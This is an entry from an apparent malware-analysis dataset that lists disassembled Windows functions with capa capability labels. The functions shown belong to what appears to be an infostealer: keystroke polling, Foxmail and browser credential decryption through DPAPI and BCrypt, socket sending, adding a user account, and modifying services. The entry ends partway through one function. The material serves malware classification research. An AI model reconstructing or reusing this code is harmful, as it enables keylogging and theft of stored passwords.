joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4136e8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push 0x100
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.0040132f
add esp, 0xc
and dword [ebp - 0x10], 0
push 0
movzx eax, byte [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov dword [ebp - 0xc], eax
movzx eax, byte [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x63
jg 0x41383c
cmp dword [ebp - 4], 0x63
je 0x41393b
cmp dword [ebp - 4], 0x24
jg 0x4137c8
cmp dword [ebp - 4], 0x24
je 0x41393b
cmp dword [ebp - 4], 0x12
jg 0x413791
cmp dword [ebp - 4], 0x12
je 0x41393b
cmp dword [ebp - 4], 8
je 0x41393b
cmp dword [ebp - 4], 9
je 0x41393b
cmp dword [ebp - 4], 0xd
je 0x41393b
cmp dword [ebp - 4], 0x10
je 0x41393b
cmp dword [ebp - 4], 0x11
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0x14
je 0x41393b
cmp dword [ebp - 4], 0x20
je 0x41393b
cmp dword [ebp - 4], 0x21
je 0x41393b
cmp dword [ebp - 4], 0x22
je 0x41393b
cmp dword [ebp - 4], 0x23
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0x5b
jg 0x41380f
cmp dword [ebp - 4], 0x5b
je 0x41393b
cmp dword [ebp - 4], 0x25
je 0x41393b
cmp dword [ebp - 4], 0x26
je 0x41393b
cmp dword [ebp - 4], 0x27
je 0x41393b
cmp dword [ebp - 4], 0x28
je 0x41393b
cmp dword [ebp - 4], 0x2e
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0x5c
je 0x41393b
cmp dword [ebp - 4], 0x60
je 0x41393b
cmp dword [ebp - 4], 0x61
je 0x41393b
cmp dword [ebp - 4], 0x62
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0xba
jg 0x4138d4
cmp dword [ebp - 4], 0xba
je 0x41393b
cmp dword [ebp - 4], 0x69
jg 0x41389d
cmp dword [ebp - 4], 0x69
je 0x41393b
cmp dword [ebp - 4], 0x64
je 0x41393b
cmp dword [ebp - 4], 0x65
je 0x41393b
cmp dword [ebp - 4], 0x66
je 0x41393b
cmp dword [ebp - 4], 0x67
je 0x41393b
cmp dword [ebp - 4], 0x68
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0xad
je 0x41393b
cmp dword [ebp - 4], 0xae
je 0x41393b
cmp dword [ebp - 4], 0xaf
je 0x41393b
cmp dword [ebp - 4], 0xb2
je 0x41393b
cmp dword [ebp - 4], 0xb3
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0xc0
jg 0x413915
cmp dword [ebp - 4], 0xc0
je 0x41393b
cmp dword [ebp - 4], 0xbb
je 0x41393b
cmp dword [ebp - 4], 0xbc
je 0x41393b
cmp dword [ebp - 4], 0xbd
je 0x41393b
cmp dword [ebp - 4], 0xbe
je 0x41393b
cmp dword [ebp - 4], 0xbf
je 0x41393b
jmp 0x413946
cmp dword [ebp - 4], 0xdb
je 0x41393b
cmp dword [ebp - 4], 0xdc
je 0x41393b
cmp dword [ebp - 4], 0xdd
je 0x41393b
cmp dword [ebp - 4], 0xde
je 0x41393b
jmp 0x413946
mov eax, dword [ebp - 0xc]
or eax, 0x100
mov dword [ebp - 0xc], eax
push 0x100
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.0040132f
add esp, 0xc
movzx eax, byte [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetKeyState]
mov byte [ebp - 5], al
push 0
push 1
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 5]
push eax
push dword [ebp - 0xc]
movzx eax, byte [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ToUnicode]
lea eax, [ebp - 0x110]
leave
ret
Function at 0x41398f
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push edi
lea ecx, [ebp - 0x18]
call fcn.00403c70
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, byte [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x63
jg 0x413acb
cmp dword [ebp - 4], 0x63
je 0x413bca
cmp dword [ebp - 4], 0x24
jg 0x413a57
cmp dword [ebp - 4], 0x24
je 0x413bca
cmp dword [ebp - 4], 0x12
jg 0x413a20
cmp dword [ebp - 4], 0x12
je 0x413bca
cmp dword [ebp - 4], 8
je 0x413bca
cmp dword [ebp - 4], 9
je 0x413bca
cmp dword [ebp - 4], 0xd
je 0x413bca
cmp dword [ebp - 4], 0x10
je 0x413bca
cmp dword [ebp - 4], 0x11
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0x14
je 0x413bca
cmp dword [ebp - 4], 0x20
je 0x413bca
cmp dword [ebp - 4], 0x21
je 0x413bca
cmp dword [ebp - 4], 0x22
je 0x413bca
cmp dword [ebp - 4], 0x23
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0x5b
jg 0x413a9e
cmp dword [ebp - 4], 0x5b
je 0x413bca
cmp dword [ebp - 4], 0x25
je 0x413bca
cmp dword [ebp - 4], 0x26
je 0x413bca
cmp dword [ebp - 4], 0x27
je 0x413bca
cmp dword [ebp - 4], 0x28
je 0x413bca
cmp dword [ebp - 4], 0x2e
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0x5c
je 0x413bca
cmp dword [ebp - 4], 0x60
je 0x413bca
cmp dword [ebp - 4], 0x61
je 0x413bca
cmp dword [ebp - 4], 0x62
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0xba
jg 0x413b63
cmp dword [ebp - 4], 0xba
je 0x413bca
cmp dword [ebp - 4], 0x69
jg 0x413b2c
cmp dword [ebp - 4], 0x69
je 0x413bca
cmp dword [ebp - 4], 0x64
je 0x413bca
cmp dword [ebp - 4], 0x65
je 0x413bca
cmp dword [ebp - 4], 0x66
je 0x413bca
cmp dword [ebp - 4], 0x67
je 0x413bca
cmp dword [ebp - 4], 0x68
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0xad
je 0x413bca
cmp dword [ebp - 4], 0xae
je 0x413bca
cmp dword [ebp - 4], 0xaf
je 0x413bca
cmp dword [ebp - 4], 0xb2
je 0x413bca
cmp dword [ebp - 4], 0xb3
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0xc0
jg 0x413ba4
cmp dword [ebp - 4], 0xc0
je 0x413bca
cmp dword [ebp - 4], 0xbb
je 0x413bca
cmp dword [ebp - 4], 0xbc
je 0x413bca
cmp dword [ebp - 4], 0xbd
je 0x413bca
cmp dword [ebp - 4], 0xbe
je 0x413bca
cmp dword [ebp - 4], 0xbf
je 0x413bca
jmp 0x413bd3
cmp dword [ebp - 4], 0xdb
je 0x413bca
cmp dword [ebp - 4], 0xdc
je 0x413bca
cmp dword [ebp - 4], 0xdd
je 0x413bca
cmp dword [ebp - 4], 0xde
je 0x413bca
jmp 0x413bd3
movzx eax, byte [ebp + 0xc]
mov dword [ebp - 0x14], eax
jmp 0x413c16
push 0x100
push 0
lea eax, [ebp - 0x118]
push eax
call fcn.0040132f
add esp, 0xc
push 0
movzx eax, byte [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov dword [ebp - 8], eax
push 0
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 8]
movzx eax, byte [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_ToUnicode]
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
call fcn.00402ef8
lea ecx, [ebp - 0x18]
call fcn.00402eb2
mov eax, dword [ebp + 8]
pop edi
leave
ret
Function at 0x41475a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.softwareAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4147c6
mov dword [ebp - 8], 0x104
lea eax, [ebp - 8]
push eax
push 0x42cdb8
push 0
push 0
push str.Executable
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4147c0
push 0x42cdb8
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov al, 1
jmp 0x4147c8
xor al, al
jmp 0x4147c8
xor al, al
leave
ret

Function at 0x4147ca
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov dword [ebp - 8], ecx
or dword [ebp - 4], 0xffffffff
push 0
lea eax, [ebp - 0x350]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push 0x428d6c
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x454]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x454]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41489b
mov eax, dword [ebp - 0x24c]
or eax, 0x10
cmp eax, 0x10
jne 0x414887
xor eax, eax
inc eax
imul eax, eax, 0
movsx eax, byte [ebp + eax - 0x220]
cmp eax, 0x2e
je 0x414887
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 8]
call fcn.004142d7
lea eax, [ebp - 0x24c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x414827
xor eax, eax
leave
ret 4
Function at 0x4156d1
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2020
call fcn.004012a0
mov eax, dword [ebp + 0x10]
dec eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 1
jmp 0x4156fe
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jge 0x415719
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov cl, byte [ecx]
mov byte [eax - 1], cl
jmp 0x4156f7
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x41578c
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
jmp 0x415754
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jge 0x41577a
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 8]
movzx ax, byte [eax]
mov ecx, dword [ebp - 0xc]
mov word [ebp + ecx*2 - 0x2020], ax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
jmp 0x41574c
lea eax, [ebp - 0x2020]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x41579a
push str.Could_not_decrypt
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
leave
ret
Function at 0x416647
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fcc
call fcn.004012a0
mov dword [ebp - 0x18], ecx
and dword [ebp - 0x2c], 0
mov dword [ebp - 4], 0x1fa0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
push 0x1fa0
push 0
lea eax, [ebp - 0x1fcc]
push eax
call fcn.0040132f
add esp, 0xc
push 0
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1fcc]
push eax
push 1
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fcc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
and dword [ebp - 0x28], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [ebp - 0x1c]
add esp, 0xc
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], 0
push 0x3000
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.0040b7f4
pop ecx
pop ecx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
leave
ret 8
Function at 0x417bc1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov dword [ebp - 8], 1
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.0040132f
add esp, 0xc
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 1
push 0
lea eax, [ebp - 0x210]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x417c50
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 0
push 0x42745c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
jmp 0x417c52
xor eax, eax
leave
ret
Function at 0x419e88
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x419f10
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp + 0x28]
push dword [eax]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x24]
mov dword [ecx], eax
mov eax, dword [ebp + 0x24]
cmp dword [eax], 0
je 0x419f07
mov eax, dword [ebp + 0x28]
push dword [eax]
push dword [ebp - 8]
mov eax, dword [ebp + 0x24]
push dword [eax]
call fcn.00401309
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
leave
ret

Function at 0x419f73
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [0x42cec0], 0
je 0x419fa3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041a064
add esp, 0xc
mov dword [ebp - 8], eax
jmp 0x41a05f
push 0
push 0
push 3
push 0
push 3
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41a05f
cmp dword [ebp - 4], 0xffffffff
je 0x41a05f
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x41a056
cmp dword [ebp - 0x14], 0
jne 0x41a056
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
push dword [eax]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x41a056
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 0x10]
push dword [eax]
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a03b
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x10]
jne 0x41a03b
mov dword [ebp - 0xc], 1
jmp 0x41a03f
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41a056
mov eax, dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
leave
ret
Function at 0x41a064
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
and dword [eax], 0
mov eax, dword [ebp + 0x10]
and dword [eax], 0
push 0
push 0
push dword [ebp + 0x10]
push 0
push 1
push 0
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x41a0de
mov eax, dword [ebp + 0x10]
push dword [eax]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x41a0de
push 0
push 0
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push dword [eax]
push 1
push 0
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41a0de
mov eax, dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x41a4dd
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov byte [ebp - 4], 0x76
mov byte [ebp - 3], 0x31
mov byte [ebp - 2], 0x30
cmp dword [ebp + 0xc], 3
jb 0x41a619
push 3
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.004012dd
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41a619
cmp dword [ebp + 0x10], 0
je 0x41a617
cmp dword [ebp + 0x14], 0
je 0x41a617
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x5c], 0x40
mov dword [ebp - 0x58], 1
mov eax, dword [ebp + 8]
add eax, 3
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x54]
lea eax, [ecx + eax - 0x13]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], 0x10
mov eax, dword [ebp + 0xc]
sub eax, 3
sub eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 8], eax
je 0x41a613
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41a611
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0
push 0
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 8]
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x50]
push eax
push dword [ebp + 0x14]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x41a60d
cmp dword [ebp - 8], 0
je 0x41a60d
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.00401000
pop ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
inc eax
push eax
push 0
push dword [ebp - 0x10]
call fcn.0040132f
add esp, 0xc
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00401309
add esp, 0xc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
jmp 0x41a67e
xor eax, eax
jmp 0x41a67e
jmp 0x41a617
xor eax, eax
jmp 0x41a67e
jmp 0x41a67e
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00419caa
add esp, 0x28
test eax, eax
je 0x41a67e
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.00401000
pop ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
inc eax
push eax
push 0
push dword [ebp - 0x14]
call fcn.0040132f
add esp, 0xc
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
call fcn.00401309
add esp, 0xc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x14]
leave
ret
Function at 0x41a996
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0x10], 0
jne 0x41a9a5
xor al, al
jmp 0x41a9e7
and dword [ebp - 8], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41a9e5
push 0
push dword [ebp - 4]
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x41a9da
xor al, al
jmp 0x41a9e7
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x41a9af
mov al, 1
leave
ret

Function at 0x41ab68
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
mov dword [ebp - 0x14], ecx
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x34]
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp + 0xc]
call fcn.00406f44
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 1
and dword [ebp - 0x24], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x10201
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x34]
push eax
push 1
push 0
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41abce
xor eax, eax
jmp 0x41ac13
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 4], eax
push 1
lea eax, [ebp - 4]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
call fcn.0041df7d
pop ecx
mov ecx, eax
call fcn.00406f44
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0xc]
call fcn.00406be2
cmp dword [ebp - 0x10], 0
je 0x41ac10
xor eax, eax
jmp 0x41ac13
xor eax, eax
inc eax
pop edi
leave
ret 8
Function at 0x41ac18
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov dword [ebp - 0xc], ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
push 0x400
push 0
lea eax, [ebp - 0x41c]
push eax
call fcn.0040132f
add esp, 0xc
push 1
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41ac6e
xor eax, eax
jmp 0x41ace5
push 2
mov ecx, dword [ebp + 8]
call fcn.00406f44
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41ac98
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x41ace5
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
jne 0x41acd0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x41ace5
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
leave
ret 8

Function at 0x41ace9
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov dword [ebp - 0x10], ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
push 0x400
push 0
lea eax, [ebp - 0x420]
push eax
call fcn.0040132f
add esp, 0xc
push 1
push 0x4296f8
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41ad42
xor eax, eax
jmp 0x41adf1
push 0x10
mov ecx, dword [ebp + 8]
call fcn.00406f44
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41ad6f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x41adf1
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x41addc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x420
jne 0x41adc6
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x41adc4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x41adf1
jmp 0x41addc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x41adf1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
leave
ret 4
Function at 0x41bdac
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x1ac]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41bdda
xor eax, eax
jmp 0x41be70
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x41bdf9
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x41be70
push 2
pop eax
mov word [ebp - 0x1c], ax
